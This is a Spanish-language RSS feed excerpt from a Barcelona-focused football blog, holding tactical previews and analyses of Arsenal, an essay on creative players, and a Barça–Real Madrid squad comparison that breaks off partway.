¿Y si al Arsenal le entra la “pelotita” en esos primeros 20 minutos que en Champions fuera de casa siempre se sufre? Si Özil mete ese penalti hace un par de años al Bayern es posible que la cosa cambiara. Los de Wenger podrán ser sospechosos de muchas cosas, pero es un equipo capaz de crear un caudal ofensivo enorme y atropellar como pocos conjuntos europeos pueden hacer. Si fusionamos el comienzo arrollador que se puede esperar del Arsenal con los comienzos de partido del Barcelona en el último mes la mezcla puede resultar muy peligrosa para los de Luis Enrique. Si los ingleses lograran adelantarse en el marcador la eliminatoria cambiaría completamente.

¿Y si esa versión pragmática de los gunners que viene ensayando Wenger desde hace un tiempo se torna en efectiva? Retrasar la línea defensiva, reducir las distancias entre líneas o el uso del doble lateral son fórmulas que ha utilizado Wenger para dotar de mayor competitividad al equipo londinense, favorecido además por una plantilla ciertamente capacitada para el contragolpe. ¿Por qué se decidirá Wenger? Ir a presionar arriba al Barça ahora mismo parece tentador, y posiblemente es lo que le pida el cuerpo al alsaciano, pero bien podría resultar muy temerario. Exponer a su defensa a situaciones constantes de latifundios en su centro del campo pueden acabar como acabó ante el Chelsea, con Suárez haciendo las veces de Diego Costa abusando de la pareja de centrales. Por no hablar de regalarle espacios a Messi y Neymar. La otra opción es ser más precavido, asumir la superioridad culé y buscar los espacios. De la alineación inicial se podrán extraer lecturas sobre el planteamiento, especialmente al ver quién ocupa el frente del ataque, Giroud o Walcott. Con el francés buscarían más dominio, que descargue el balón a las bandas y cargar el área, mientras que con el británico -que ha hecho mucho daño al Barça siempre que se han enfrentado- apostaría por su movilidad y velocidad, con Özil lanzando y Alexis y Theo buscando los espacios. Todo parece indicar que de inicio jugará Giroud, pero en cualquier caso Wenger se guarda un gran revulsivo en el banquillo. ¿Para qué tiene calidad el Arsenal, para morder o para aguantar atrás? Siempre hay que desconfiar de equipos poco disciplinados que por circunstancias puntuales deben convertirse en algo que no son, y además tampoco tiene grandes especialistas defensivos -Coquelin sale de lesión-, por lo que no es una apuesta ganadora. Por otro lado jugar de tú a tú tampoco parece la mejor opción, más cuando te falta el futbolista que aporta más fluidez al juego gunner, como es el caso de Santi Cazorla. Un intercambio de golpes no beneficia al Arsenal, pero tampoco a los de Luis Enrique. Difícil decisión la de Wenger.

arsenal2

¿Y si dos de las últimas bestias negras de los culés reviven algunas de sus mejores actuaciones pasadas ahora con la camiseta gunner? Hablamos de Cech y Özil, por supuesto. El guardameta checo siempre fue una pesadilla para los culés cada vez que Barça y Chelsea cruzaban sus caminos en Champions League, especialmente en aquella fatídica semifinal de 2012. Cech ya no es ese portero tan infalible, pero es claramente uno de los argumentos a los que se puede agarrar su equipo para competir. Pocos guardametas pueden presumir de no haber cedido ante Messi. El alemán no ha sido tan protagonista como el portero en sus enfrentamientos con los blaugranas, pero defendiendo la camiseta del Real Madrid era una de las bazas de Mourinho para formar los contragolpes y activar a Cristiano Ronaldo, especialmente. El genial mediapunta ha vuelto a su mejor nivel después de dos años decepcionantes en el Emirates, y tiene ante el Barcelona la oportunidad perfecta para confirmarlo definitivamente.

¿Y si los jugadores secundarios dan el paso adelante que se les exige? Aaron Ramsey, Oxlade-Chamberlain, Héctor Bellerín u Olivier Giroud son jugadores que deben dar el paso definitivo a la élite. Özil, Alexis o Cech son garantías competitivas, pero los arriba mencionados todavía están por testar o son sospechosos habituales. Ramsey era un jugador que había encontrado su mejor nivel partiendo desde la derecha, acompañando al doble pivote y aprovechando su gran golpeo y llegada, pero la lesión de Cazorla ha trastocado todo y le ha desplazado al centro junto a Coquelin o Flamini. Es un futbolista con ida y vuelta pero que no aporta orden y fluidez al ataque gunner, así que deberá hacer un esfuerzo extra para hacer olvidar al asturiano. Oxlade es un jugador con potencial pero que ha pecado de cierta indefinición. Ante el Barça se antoja vital porque puede echar una mano al doble pivote y además por su físico ocupar mucho terreno de juego y ser profundo. Héctor Bellerín es ya una realidad, pero defensivamente todavía está por ver, y enfrente tendrá a Neymar. Ya en la liguilla tuvo delante a Douglas Costa y fue un suplicio para el español. Y Giroud. El francés no ha sido todo lo fiable que debiera en su periplo en Londres, pero este año sí que ha respondido a pesar de un pequeño bajón en este tramo de la temporada.

¿Y si esos errores individuales que año tras año penalizan al Arsenal en la disputa de los títulos no se producen? Un error garrafal del portero, un mal achique de la defensa que provoque manos a manos, el penalti made in Koscielny, goles en contra a balón parado o expulsiones son episodios que han aparecido con frecuencia en la historia reciente del Arsenal y que le han apartado de la lucha por los trofeos. Puede que el penalti fallado por Özil, la expulsión de van Persie o cualquier otra desgracia que siempre le ocurren al Arsenal se achaquen a la mala suerte, pero a eso se le llama no saber competir. Si es capaz de jugar 180 minutos con concentración y minimizando errores es un conjunto muy capaz de dañar al Barcelona.

arsenal3

Este mismo juego se puede plantear desde la lógica del Barcelona y el resultado sería quedarnos sin eliminatoria en 45 minutos, pero Wenger sabe con toda certeza que debe cambiar su manera habitual de competir para tener alguna opción. Puede que se adelante, que sea capaz de defender bien, que Özil y Cech “se salgan” y que no hagan ninguna de las suyas y aún así no baste, pero el hábito de ir siempre un paso por detrás a todos los niveles del resto de clubes de élite es lo que les lastra. Debe reducir esa sangría. ¿Será esta vez?

]]> ELOGIO A LA OCIOSIDAD https://www.rondoblaugrana.net/2014/07/la-logica-del-genio.html?utm_source=rss&utm_medium=rss&utm_campaign=la-logica-del-genio https://www.rondoblaugrana.net/2014/07/la-logica-del-genio.html#comments Fri, 25 Jul 2014 00:01:39 +0000 https://www.rondoblaugrana.net/?p=9858 Lo único  bueno de éste artículo  es que nace sin pensar ni inspirarme en el mundo del fútbol, en absurdas metodologías, científicos datos concretamente demostrables u opiniones «de sectas» que pretenden encontrar la verdad demostrada. Nace de declaraciones de artistas, poetas, bailaores, genios en general, que han manifestado en alguna ocasión y ese hecho manifestado es extrapolable a éste mundo futbolístico nuestro a través de éstas líneas  con alguna o ninguna exactitud. Hace unos meses leí unas declaraciones de Farruquito en las que decía «…esta propuesta es de lo más fácil y difícil que he hecho. Fácil porque cuento solo con 7 personas que me acompañan. No tiene coreografía de la que debe deba estar pendiente ni música fija, es todo libertad. Difícil por lo mismo que acabo de decir. Esas 7 personas hacen su música libremente y yo la bailo con más libertad aún. Hacer que esos sentimientos se unan cada vez es muy difícil. El público ve un espectáculo distinto en cada actuación (…) así que ni yo sé qué vamos a hacer…«

Hoy día en este fútbol estudiado, trabajado, atentando de hacerlo ciencia, hay quienes le dan más importancia a la pizarra, la estrategia, el consumo de oxígeno, la distancia recorrida en un partido, la creación y/o ocupación de pasillos interiores, haciendo del tacticismo una religión donde se pretende desentender al jugador del juego, simplemente que trabaje, sea agresivo, intenso, y que cumpla SU función no la suya, el jugador que entra en contacto con el balón puede atender a su inspiración o elegir una de las varias opciones precalentadas en los entrenamientos. Coartado por la responsabilidad competitiva, el futbolista suele escapar al riesgo de lo desconocido y busca auxilio en el guión previsto. En realidad, le pone la técnica al cerebro del entrenador.

​Intensamente no nos atrevemos a orientarnos bajo la brújula de aquel que no la necesita para existir dentro del campo, aquel jugador distinto, la figura del diferente, del rebelde, de aquel que para creer mejorarlo y por lo tanto para entenderlo pretendemos amoldarlo en base a nuestras falsas creencias constituidas de falsas verdades, en las que sí éste tipo de jugadores no las llevan a cabo son los primeros en salir de la ilogidad lógica dentro del terreno de juego. Le pedimos que corra más «porque no corre», que no se complique, «porque pone en peligro la estabilidad del equipo» cuando es todo lo contrario, para el complicársela es jugar como se pide a 2 toques para dar más velocidad al juego, cuando al recibir la pelota ya ha creado más y mejores jugadas que las automatizadas por aquel que le pide y se empeña en que no sea él privándole de su identidad. También «erran a nivel táctico» ya que entorpecen el juego (incierto e impreciso), su juego deja de ser aire imprevisible dentro de un trabajo automatizado atentando así la cognición del espeso aire enquistado que asola el terreno de juego.

Para mejorar este desorden táctico, todos aquellos que osan a cambiar tal mal le dan preferencia a situaciones, desargumentos o causas que ellos creen manejar y reniegan de aquellas que escapan de su control. Confiados y afincados en la necedad del estanque del pantano de sus pensamientos, temen abrir la compuerta que haga desaparecer el agua ensuciada del olvido.

Formamos parte de una sociedad donde nos hacemos fuertes y creíbles si ganamos, yendo partido a partido, o creyendo que al haber realizado un cambio táctico y haber dado la orden en un momento inadecuado, lo adecuamos al instante casual que nos resulta positivo y ganador. Cambia mucho el cuento si ganamos en el último minuto y engordamos nuestro ego diciendo «todo salió perfecto porque supe leer bien el partido» u otro argumento de peso que da lógica a ese instante de descontrolado control como el que hemos escuchado «…todo sucedió como pensé que sucedería…»

Sí por el contrario » te olvidaste de leer», los chavales no interpretaron bien los objetivos de la semana. Se puede dar el caso del enfrentamiento de dos equipos tácticamente perfectos y bien trabajados, es tal a la imperfección de la que hacen gala, debido a que tales equipos solo son ejecutados a través de las cabezas de sus entrenadores que tenderán a anular el talento aquel imposible de apreciar ni intuir aquellos que planificaron el partido el lunes. El talento no nace a partir del centro del campo o como mejor dicen los que saben a partir de las zonas de creación y finalización, el talento es talento porque surge para evidenciar que cualquier planificación construida sin contar con él no es más que una mera subordinación constituida por alguno que basa su metodología en tenerlo todo controlado, para no ser sorprendido.

¿Por qué nos encantan y se harán eternos Rimbaud, Alberti, Iniesta, Neruda, Borges, Gotze, Miró, Lorca, Ozil, Tchaikovsky, Riquelme, Mozart, Messi, Maradona o Camarón?

Porque simplemente se escapan a cualquier lógica en la que descansan las mentes de un estanque donde para seguir existiendo ofrecen el argumento de «son la excepción»

Por esto, quiero concluir que seguro a lo largo de nuestras carreras como entrenadores tengamos la suerte de encontrarnos un regalo/s de este tipo de jugador/es, no queramos entenderlo, simplemente queràmoslo. Por favor no queramos mejorarlos con nuestras herramientas para mejorar, dejémoslo que sean nuestra herramienta, si a un bonsai la cambias su tiesto crece. Disfrutémoslo cada momento que nos ofrece y pidàmosle que nos den muchos momentos.

Hagamos del incomprendido una raza y no una especie en extinción.

]]> https://www.rondoblaugrana.net/2014/07/la-logica-del-genio.html/feed 29 UN ARSENAL DISTINTO https://www.rondoblaugrana.net/2013/12/un-arsenal-distino.html?utm_source=rss&utm_medium=rss&utm_campaign=un-arsenal-distino https://www.rondoblaugrana.net/2013/12/un-arsenal-distino.html#comments Mon, 30 Dec 2013 00:59:10 +0000 https://www.rondoblaugrana.net/?p=7984 Con el fichaje de Özil, los cambios defensivos de Wenger y los resultados en Premier, el Arsenal ha evolucionado como equipo, da la sensación de ser un conjunto más maduro. Posiblemente, el fichaje del alemán fuera el punto de inflexión para que cambiara el chip del francés y al fin cuajar un equipo competitivo. Aunque el alemán últimamente aparece en cuentagotas y eso hace que el equipo se resiente. Él es el motor más importante del equipo y si falla, el equipo se descompone en ataque. Es la estrella de este equipo.

El equipo de Arsène Wenger nos tiene acostumbrados a dominar los partidos, a tener una línea editorial basada en el buen tratamiento de la pelota siendo superiores territorialmente a sus rivales. El Arsenal del año pasado fue el mejor equipo en cuanto a posesión con un 58,2 %, pero los resultados no llegaron. Los tiempos cambian y la presión es mayor. Wenger ha cambiado algunos mecanismos del equipo para que sea más sólido, más eficaz y menos vulnerable en sectores del campo vitales para conseguir que el Arsenal sea un equipo competitivo. El francés ha demostrado que en muchos partidos le ha interesado más defender que dominar con la posesión. Esta faceta no es que sea nueva, pero sí se ha agrandado esta temporada, de aquí la solidez defensiva.

Según la página de estadísticas Who Scored, el Arsenal solo tiene un 55. 5% de posesión esta temporada, 3 puntos menos de la que realizó el año pasado. Swansea, Southampton, Tottenham, Manchester City o el Everton superan a los Gunners en esta faceta. El Arsenal no tiene tanto el balón, no busca rizar el rizo con jugadas de toque interminables, el Arsenal busca ser competitivo y para ello el equipo este año defiende más y mejor. El equipo de Arsène Wenger es ahora mismo el equipo que más cuesta de remontar un partido. Solo ha perdido un encuentro cuando ha marcado primero (ante el Aston Villa) y ha empatado 2 (West Bromwich copa de la Liga, Everton en Premier). Este dato es indicativo de una solidez a la hora defender el marcador.  No obstante esto, este equipo tiene dos problemas graves: partidos ante rivales de su misma categoría y remontar un partido.

Ante equipos de su mismo nivel no acaba de encontrar un nivel competitivo para poder ganar todos los partidos y sufre ante equipos que tienen menos posesión que ellos como el Chelsea o Borussia. Ha jugado 9 partidos ante equipos de su categoría y solo ha ganado 3 y 2 de ellos en casa. Dominar en partidos grandes le cuesta y es más vulnerable. Y además, es un equipo que no remonta los partidos, si empieza perdiendo un partido, lo acabará perdiendo.

Ganados: Tottenham (casa), Napoli (casa), Borussia Dortmund (fuera)

Perdidos: Borussia (en casa), Chelsea (en casa), Manchester United (fuera), Napoli (fuera), Manchester City (fuera)

Empatados: Everton (casa), Chelsea (casa)

Si nos centramos en el análisis táctico, hay que ver el cambio de sistema y de juego que ha hecho Wenger. La lesión de Theo Walcott en el mes de octubre hizo que el Arsenal cambiara su forma de atacar, sin extremos puros por banda. Los jugadores que han ocupado las bandas han sido Cazorla, Ramsey o Rosicky que no son jugadores de banda puros, son más trescuartistas acostumbrados a jugar de forma combinativa y más en zona interiores. Aunque el equipo haga un juego ancho, con laterales subiendo como siempre y jugadores exteriores partiendo de fuera a dentro, la mayoría de sus ataques mueren por dentro como lo demuestra este gráfico de Who Scored.

arsenal 222final
Wenger ha introducido la idea de la solidez y de los jugadores box to box en su equipo para compensar la calidad de otros integrantes del equipo. Wilshere-Ramsey es una pareja que aparte de trabajo defensivo te da una clarividencia en sectores de ataque vitales para crear peligro. La capacidad de ambos para aparecer en segunda línea provoca un peligro constante para el rival y un beneficio colectivo. Estas llegadas  están siendo básicas para que este equipo funcione. Además, de estos dos, los Cazorla-Özil-Flamini-Arteta-Rosicky llegan mucho y eso provoca ocasiones de gol. Esta premisa de Wenger se ve claramente en el gráfico anterior, un 58% de llegadas acaban en la zona entre el área pequeña y ¾ de campo.

Si hablamos de los motores del Arsenal, hay que hablar de Özil-Cazorla. Es el dúo que más calidad tiene en cuanto a la generación de juego de ataque. Ambos tienen la clarividencia de levantar la cabeza y combinar con el compañero, pases al hueco o de gol. Ellos han de ser la mecha Gunner para generar situaciones de peligro. Las sensaciones y las estadísticas dicen que si Özil está participativo y es protagonista, el equipo gana. Si no lo está es más vulnerable el equipo. El alemán es muy importante en este equipo.

Flamini-Arteta. Ambos jugadores están dubitativos dando una de cal y otra de arena. Arteta este año está más defensivo que en años anteriores, Wenger lo quiere como un  pivote más funcional que creacional. Su desgaste es mucho más físico. Por su parte, Flamini ha vuelto a ser jugador. Sin estar al nivel de su primera temporada en el Arsenal, su perfil es único del equipo. No obstante esto, han tenido muchas críticas por malas actuaciones en partidos grandes.

El gol de Giroud está siendo clave esta temporada. Hasta este momento lleva 10 goles en 24 partidos entre Premier y Champions. El año pasado, tras 21 partidos llevaba solo 4 goles entre ambas competiciones. El francés se está consolidando en este equipo como un jugador muy participativo y combinativo, 5 asistencias lleva ya. Su participación entre líneas para apoyar y generar  espacios,  benefician a sus compañeros para que entren de segunda línea. Es más que un delantero, sin tener la calidad de Benzema fuera del área, es un jugador con ideas muy claras y con calidad necesaria para llevarlas a cabo.

Para acabar con el sistema táctico ofensivo, hay que hablar de Walcott. Su lesión fue un dolor de cabeza para Wenger, por eso, cuando se ha recuperado, el francés lo ha vuelto a poner de titular. Él es un jugador clave para Wenger para hacer algo diferente en el ataque. El inglés es un jugador capacitado para jugar pegado en banda para abrir el campo,  jugar el 1 x1 y centrar. Otras de las posibilidades de Walcott es buscar zonas más interiores en desmarques rápidos para generar confusión entre central y lateral. Posiblemente sea el jugador más rápidos que tiene el francés en su equipo y con él el juego del Arsenal puede cambiar y hacerse más rápido o más vertical. Jugador que da muchos recursos.

Paso delante de la defensa

Si hay un sector en dónde el Arsenal ha mejorado mucho es en la defensa. Koscielny es ese tipo de central que o te gusta o lo odias a muerte. Con el francés no hay punto intermedio. Esta temporada está mucho más soberbio en sus acciones, más fiables en situaciones de riesgo, más contundente y menos fallón. Su mejoría con las grandes actuaciones de Szczesny han provocado que la defensa Gunners gane en enteros. Antes del partido ante el Manchester City, donde el Arsenal encajó 6 goles, el equipo de Arsène Wenger era el mejor equipo en cuanto a goles recibidos, solo 11 en 15 partidos. Este dato es indicativo de la mejoraría de un equipo que cada año sufría en este aspecto.

Mertesacker está siendo el compañero de Konscielny. Wenger prefiere el dominio del balón aéreo del francés que la rapidez de Vermealen. Sagna ha vuelto a ser un lateral con recorrido y con pocos errores, capacitado para subir y bajar. Jenkinson es la alternativa del francés, menos calidad, menos recorrido de calidad. En el perfil izquierdo, Gibbs está siendo más protagonista que Monreal. Gibbs es un jugador que está jugando bien esta temporada, con mucha más llegada al ataque.

En un aspecto global del juego, Arteta-Flamini en muchos partidos han sido claves para que el juego defensivo fuera sólido. Su trabajo con el de Ramsey a veces en el doble pivote permite que el equipo sea compacto y no deje espacios para que el equipo rival genere juego. Como antes expuse, el Arsenal es el equipo que más cuesta remontar. El equipo se crece cuando está por delante en el marcador pero en el aspecto defensivo. Además, Wenger se ha “mouriñonizado” acabando los partidos con marcadores cortos con doble lateral. Monreal está siendo un jugador comodín para el francés, ya que es el que se pone de extremo por izquierda. Jenkinson en otras ocasiones también lo hace por la derecha. Este cambio denota el cambio filosófico de Wenger. No obstante esto, ante equipos de su misma categoría han tenido problemas para mantener el bloque. Los medio centros no han estado a la altura defensiva que quiere Wenger viéndose superados por su par constantemente y muchas veces provocando segundas y terceras jugadas.

El equipo ha mejorada en regularidad cosa que le permite destacar en Premier League, pero le falta aún un paso más para ser competitivo ante equipos de su misma categoría.

Resumen:

Claves ofensivas:

.- Juego sin extremos. Hay más juego interior con el fuera-dentro de sus exteriores. Más presencia de ataque por el medio y más llegadas de segunda línea.

.- Laterales profundos que ayudan a que la circulación de balón a ser óptima. Además, profundizan ellos como extremos, buscando la línea de fondo.

.- Özil es la llave de este Arsenal. Si está participativo, el juego del equipo es fino, preciso y con una circulación de balón adecuada. Si está bien, el Arsenal gana.

.-La movilidad de Giroud está siendo muy importante para generar espacios en ¾ para las entradas de los hombres de segunda línea. Además apoya en corto en la circulación y genera mucho peligro con sus desmarques y su presencia en el área.

.- Ramsey. Su estado de forma es vital para que este Arsenal este dónde este. Sus llegadas de segunda línea, disparos, pequeñas gambetas son peligrosas. De MC es un jugador box to box, intenso y en banda en más participativo entre línea y sorpresivo.

.- Walcott, jugador distintivo que puede cambiar la dinámica ofensiva del equipo. Juega más vertical, juego amplio por la derecha, 1 x1 constante. Jugador que marca la diferencia.

.- Les cuesta remontar muchos los partidos. Pocas alternativas en el banquillo: Bendtner; Sanogo, Gnabry y lesionados como Podolsky o Chamberlain.

Claves defensivas:

.- Mejoría de Koscielny y Szczesny han hecho que el equipo sea más sólido atrás.

.- Mertescker da solvencia en el juego aéreo.

.- Cuando va ganando, Wenger mete doble lateral para cerrar bandas y controlar más las jugadas ofensivas rivales.

.- El doble pivote en muchos partidos importantes hace aguas y facilitan mucho las llegadas a su área.

.- Permiten segundas y terceras jugadas.

Posible once titular

arsenal 2

]]> https://www.rondoblaugrana.net/2013/12/un-arsenal-distino.html/feed 10 ANÁLISIS DE LAS PLANTILLAS DEL BARÇA Y MADRID 2013-2014 https://www.rondoblaugrana.net/2013/09/analisis-de-las-plantillas-del-barca-y.html?utm_source=rss&utm_medium=rss&utm_campaign=analisis-de-las-plantillas-del-barca-y https://www.rondoblaugrana.net/2013/09/analisis-de-las-plantillas-del-barca-y.html#comments Wed, 04 Sep 2013 01:42:00 +0000 https://www.rondoblaugrana.net/2013/09/analisis-de-las-plantillas-del-barca-y-madrid-2013-2014.html Hasta hace un par de años cualquier análisis de las plantillas del Barça y del Madrid era suficiente para diagnosticar el estado de los máximos favoritos a vencer en cualquier competición. Hoy los efectos de este post son más limitados y conviene tenerlo en cuenta. El Chelsea y el Bayern están dirigidos por dos artistas –cuanto nos dieron y qué poco les dimos- y, aunque es prematuro evaluar sus respectivos planes, disponen de artillería para vencer a cualquiera. Hay otros candidatos en el horizonte, no todos igual de sólidos, pero parece que la Champions 2013-2014 será aún más abierta que la anterior edición.

Hay, además, un relevo en el puesto del entrenador. Desgraciadamente nunca podremos saber hasta dónde habría llegado Tito tras su esperanzador inicio de 2013 pero el Tata Martino viene con una hoja de ruta bien marcada. No parece que el Barça vaya a perder calidad en el área técnica. El Madrid habrá de perderla, forzosamente. Desde mi punto de vista solamente Ferguson impedía que Mourinho fuera el mejor entrenador del mundo. Dudo que Ancelotti pueda aspirar a otra cosa que no sea construir un Madrid digno de su inigualable plantel. La entidad blanca tenía un genio que podía alzarse por encima de las limitaciones y convertir el plomo en oro aunque, también es verdad, el proceso era tan duro que se fundía a los dos años.

En cualquier caso, 2011 no volverá jamás. El enfrentamiento entre el Barça y el Madrid será, más que nunca, cosa de jugadores. Es improbable que un planteamiento sorprendente elimine las virtudes del rival y tampoco cabe esperar ajustes ganadores durante el partido. Estamos ante un escenario más abierto que nunca y ambos equipos tienen mimbres para ser terribles pero les amenazan problemas estructurales que la confección de ambas plantillas no ha abordado de frente. Especialmente el Barça, que no parece capaz de rodear adecuadamente una generación que, cada vez está más claro, no tendrá relevo en un futuro próximo.

Comencemos el post con el campeón de la liga.

FÚTBOL CLUB BARCELONA

Análisis por líneas

Portería: Victor Valdés, Pinto, Oier

Victor Valdés está, probablemente, en el mejor momento de su carrera. Pinto es el suplente perfecto, pese a ocasionales excentricidades: sólido bajo palos y aceptable con el balón en los pies. Es una de las posiciones mejor cubiertas para la temporada que nos ocupa y, sin duda, será uno de los mayores quebraderos de cabeza en años venideros. Victor Valdés deja el equipo y Pinto no puede ser un relevo duradero. Oier, por su parte, ha dejado más dudas que certezas y cuesta imaginarle asumiendo el peso de la portería culé.

Laterales: Dani Alves, Montoya, Jordi Alba, Adriano

Las bandas del Barça están espléndidamente cubiertas aunque persiste alguna sombra. Dani Alves ya no es la furia incontenible de su larga plenitud pero no se me ocurren más que tres o cuatro laterales a su nivel. Es titular indiscutible y Montoya no ha hecho méritos más que para rotar en partidos de escasa relevancia. Entre las sombras que mencionaba destaca el hecho de que ni Montoya ni Jordi Alba son especialistas en la marca. Dani Alves es un defensor aceptable tanto en carrera como en estático pero su tendencia a descuidar la espalda es un quebradero para Piqué, demasiado lento para cubrir sus ausencias.

Otro asunto preocupante es el calvario de Adriano con las lesiones. El puesto de Jordi Alba está asegurado únicamente por la fragilidad del brasileño, de largo el mejor defensa de banda del club.

Variantes: Puyol, Mascherano

Puyol podría jugar en banda por solvencia táctica y sacrificio aunque es muy improbable que lo haga. Menciono a Mascherano por una cuestión de velocidad . Es imaginable desplazarle a la banda en caso de extrema emergencia. De todos modos, los laterales están más que cubiertos.

Centrales: Piqué, Bartra, Mascherano, Puyol

El déficit es evidente, y eso aceptando que Mascherano sea un defensa. No lo es y lo recordaremos si el Barça vuelve a ser dominado por grandes equipos. Si el Barça mantiene un tono medio-alto, incluso si es parcialmente superado, Mascherano es un central impresionante y su capacidad para la anticipación es pura élite. Piqué, desde mi punto de vista, está a un nivel notable y su concurso es imprescindible para garantizar el equilibrio táctico. La pareja de centrales es garantía de éxito.

Los centrales suplentes, en cambio, generan más dudas que certezas. Puyol va camino de ser un ex-futbolista a marchas forzadas. Su talento defensivo solo es igualado por Piqué pero el historial de lesiones y la edad avanzada aconsejan dudar del capitán eterno. Si le deciden esperar sin fichar otro central queda claro que el asunto tiene que ver con la jerarquía interna y con el ascendiente moral de Puyi. Es duro escribir esto pero Puyol como tercer central es una debilidad en la confección de la plantilla y esta realidad irá a peor con el paso del tiempo. Aún así, gracias a su compromiso y calidad –que no depende del físico, pese a lo que haya podido leerse- sin duda que podrá aportar minutos importantes en las rotaciones.

El tema Bartra se ha tratado a menudo y poco hay que decir. Tito no apostaba por él y el Tata Martino no ha dado indicios de tenerle en demasiada consideración.

Variantes: Busquets, Song, Adriano

Salvo Adriano, que cuajó un partido notable frente al Real Madrid, ninguna de las variantes resulta satisfactoria. Bagnak apunta maneras pero en los partidos importantes sería deseable que no se le expusiera a un revés que pudiera arruinar su carrera. El hueco del Barça en el centro de la defensa es tan endémico como inexplicable que no se le haya puesto remedio.

Medio defensivo: Busquets, Song, Mascherano, Jonathan Dos Santos

La posición está espléndidamente cubierta. Incluyendo el concurso de Dos Santos que, llegado el caso, puede actuar de interior y de 4 sin variar mucho su rendimiento. Quisiera apuntar, únicamente, que las cualidades que Song exhibió en el Arsenal no tienen nada que ver con la posición de pivote.

Interiores: Xavi, Cesc, Iniesta, Sergi Roberto, Jonathan Dos Santos

El relevo de Xavi preside cualquier análisis del medio campo culé pero me parece que ya hemos hablado bastante del asunto. En este post presumo un nivel físico medio-alto a cada individuo y Xavi es un activo del que ningún entrenador puede prescindir, aunque quizá sea hora de dosificar drásticamente al de Tarrasa. En el mejor de los casos, el Barça cuenta con la posibilidad de jugar a dos velocidades alternando a Fábregas y a Xavi y en el peor, el rol que ocupa Xavi en la selección, sin relación con la base de la jugada, podría ser un reciclaje beneficioso para el colectivo.

Por lo demás, el equilibrio entre hombres de control y desborde parece más que satisfactorio.

Variantes: Busquets, Song, Afellay

Busquets en el interior derecho no es una variante descabellada, especialmente si atendemos al mejorado rango de pase que ha demostrado en el último año. Incluyo a Afellay porque la posición no resulta ajena a su repertorio, no porque sea probable que dispute ni siquiera unos pocos minutos en la media.

Una de las figuras menos valoradas de la historia reciente del Barça es la de Keita, pero creo que nadie discutirá que su aportación fue crucial para compensar la plantilla. Song tiene condiciones para ser un interior físico y profundo, rol que muchas veces el Barça echa de menos. Pero nada hace indicar que vaya a ser tenido en cuenta para el interior. Puede que el jugador camerunés sea la pieza más desaprovechada de la plantilla.

Delantera: Alexis, Pedro, Tello, Messi, Isaac Cuenca, Neymar, Afellay

No diferencio entre extremos y delantero centro porque el sistema del Barça desalienta la distinción. La titularidad de Messi y de Neymar no se cuestiona, lo cual nos deja dos asuntos relevantes. En primer lugar, la ocupación de las bandas. Con la incorporación de Isaac Cuenca y Afellay se gana mucho en complejidad; ambos son, desde mi punto de vista, dos jugadores espléndidos que pueden mejorar a Pedro, Alexis y a Tello en varios apartados. No creo que merezca la pena analizar sus características, por conocidas y porque parece que su rol en la plantilla será extremadamente secundario. De todos modos, no quería dejar el post sin una mención a estos magníficos futbolistas, inteligentes y desequilibrantes, que han sido maltratados por las lesiones. Y quizá por alguien más.

Debo matizar algo. Alexis no es inferior por sus condiciones a Cuenca y Afellay pero las circunstancias le impiden brillar en el rol que, teóricamente, más le favorecería. La idoneidad del fichaje podría, por tanto, discutirse, pero no es este el lugar. Alexis Sánchez se ha ganado un papel en la plantilla adecuándose con cierta eficacia a funciones que no pertenecían a su registro en Italia. Este 2013 parece estar un poco más fino de cara a la definición y su movimiento desde la derecha hacia los centrales proporciona oxígeno al sistema. Pedro vive de la memoria de su grandeza y de su olfato de gol, pero este último parece haberle abandonado y las grandes noches comienzan a quedar lejos. Sin su hiperactividad y sin la fortuna de cara a puerta Pedro tiene difícil arrebatarle la titularidad a Alexis. Tello, por su parte, es un jugador menos matizado que Cuenca y Afellay pero demoledor en el aprovechamiento de su velocidad que, además, aporta una alternativa diferente a la plantilla. No debería sorprender que se convirtiese en el principal competidor de Alexis.

No incluyo a Dongou, aunque su desempeño como nueve en pretemporada ha sido espectacular. Apunto lo mismo que en el caso de Bagnak: raro sería que tuviera un papel destacable a lo largo de la temporada.

Balance

Desde mi punto de vista la plantilla se ha empobrecido desde 2011. Al margen de algunos fichajes fallidos, el mayor problema es que la confección del equipo parece haberse orientado a rodear de comparsas a los cuatro-cinco jugadores diferenciales. El primer déficit es el desborde. Tres de los cinco delanteros que más minutos deberían repartirse son relativamente fáciles de anular, lo que permite al sistema defensivo rival regalar bandas y adelantar metros sin castigo. En este sentido el fichaje de Neymar soluciona el problema como quizá ningún otro habría podido, pero la riqueza técnica de la plantilla se reduce a marchas forzadas. La posición del central es el segundo gran déficit y, como ya comenté, creo que solamente la jerarquía interna permite explicar este alarmante vacío.

Por otra parte el Barça añade a Neymar a su nómina de jugadores indefendibles. En el seno de una plantilla empobrecida el equipo dispone de tres de los mejores atacantes del mundo. Si la transición hacia Cesc Fábregas se culmina con éxito el Barça tendría al director de juego más indicado para explotar esta virtud.

En conjunto creo que el equipo no es mucho mejor que el año pasado y arrastra varios de los problemas que lastraron el año de Tito y Roura; aunque Neymar sutura varias de las heridas más urgentes del Barça, no se le puede exigir que solucione los problemas en el juego. Esa es tarea de otros.

Cesc

REAL MADRID

Análisis por líneas

Portería: Iker Casillas, Diego López y Jesús

Es conocido el problema de la portería blanca, que trasciende lo deportivo y se adentra en terrenos tan desagradables como el del poder mediático. Iker Casillas no parece dispuesto a aceptar un rol secundario. Yendo a lo puramente deportivo, Diego López no solo es un portero que encaja mucho mejor en el modelo deseado por Ancelotti, sino que ha demostrado mejor rendimiento que Casillas en los últimos meses. Por pura talla física transmite cierta solvencia por alto que al Madrid le era imprescindible y bajo los palos su campaña con Mourinho fue notable. En cualquier caso y respecto a lo que al análisis afecta, la portería blanca está cubierta con creces. Aunque no me he fijado en Jesús lo suficiente como para valorar rigurosamente su aportación, por sus condiciones tengo la impresión de que se acerca más al tipo de portero que aprecia Ancelotti de lo que puede acercarse Iker Casillas.

Laterales: Arbeloa, Carvajal, Marcelo, Coentrao

El desequilibrio entre ambos laterales parece claro. Si la banda izquierda del Madrid es un lujo principesco, la derecha da la impresión de ser apenas solvente. De Arbeloa se ha dicho todo, a veces sin hacerle justicia, pero la comparación con Marcelo resulta dolorosa. Especialmente si tenemos en cuenta que con la llegada de Ancelotti quizá ya no sea tan importante que Arbeloa haga de tercer central cuando el Madrid esté volcado en ataque. Carvajal, por su parte, apunta calidad más que suficiente para mejorar a Arbeloa en tareas ofensivas pero es bastante inferior en la marca.

